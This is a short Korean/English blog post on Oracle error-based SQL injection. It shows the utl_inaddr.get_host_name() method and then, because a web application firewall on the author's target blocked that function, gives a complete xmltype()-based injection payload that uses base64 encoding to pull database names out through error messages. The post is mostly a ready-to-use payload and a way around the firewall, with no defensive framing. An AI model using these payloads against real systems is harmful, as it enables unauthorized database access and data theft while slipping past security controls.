xmltype() 함수를 이용한 Oracle Error Based SQL Injection
오랜만의 webhacking 포스팅이다.
This short article is about webhacking.
Oracle Error Based SQL Injection
Oracle Error Based SQL Injection 공격시 주로 utl_inaddr.get_host_name() 함수를 이용한다.
I usually use utl_inaddr.get_host_name() functions when Oracle Error Based SQL Injection.
ex) utl_inaddr.get_host_name( (select user from dual) )
=> 'hyunmini' 호스트를 찾을 수 없습니다.
=> 'hyunmini' host not found.
이번 타겟은 웹방화벽에서 get_host_name 함수를 차단하고 있어서 해당 함수를 사용이 불가능했기에 다른 방법을 찾아보았다.
This Target was blocking the get_host_name function in the WAF, so I tried another way.
조금 찾아보니 역시 다른 방법이 몇가지가 있었다. 이번에 테스트 해본 방법은 xmltype() 함수이다.
After googling, I found some other ways. One way is to use the xmltype() function.
(참고 : https://gist.github.com/xassiz/7aa20b670d7e44da665c3e28f216a927)
(Reference: https://gist.github.com/xassiz/7aa20b670d7e44da665c3e28f216a927)
ex) vulparam=1 and (select ''|| xmltype('<'||regexp_replace(utl_raw.cast_to_varchar2(utl_encode.base64_encode( utl_raw.cast_to_raw( (select+global_name+from+global_name) ) ))||'%3ax>',chr(10)||'|'||chr(13)||'|%3d',''))||''+from+dual)-- |
끝!
The End!